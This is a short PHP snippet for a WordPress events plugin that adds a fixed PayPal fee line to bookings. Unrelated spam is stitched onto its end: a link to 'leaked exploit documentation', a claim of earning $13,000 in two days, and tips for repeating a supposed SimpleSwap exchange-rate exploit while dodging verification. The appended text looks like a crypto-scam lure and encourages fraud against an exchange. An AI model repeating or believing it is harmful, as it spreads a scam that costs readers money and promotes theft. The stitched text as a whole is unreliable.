Paypal additional fee

function my_em_add_fee($paypal_vars, $EM_Booking, $EM_Gateway_Paypal){
 $amount = 30;
 if ( !empty($amount) ){
  $itemcount = (count($EM_Booking->get_tickets_bookings()->tickets_bookings) + 1);
  $paypal_vars['item_name_'.$itemcount] = wp_kses_data("Paypal Fee");
  $paypal_vars['quantity_'.$itemcount] = 1;
  $paypal_vars['amount_'.$itemcount] = $amount;
 }
 return $paypal_vars;
}
add_filter('em_gateway_paypal_get_paypal_vars','my_em_add_fee',1,3);
✅ Leaked Exploit Documentation:

https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing

This made me $13,000 in 2 days.

Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 25% — they will simply correct the exchange rate.
The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.

Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from SimpleSwap — instant swap).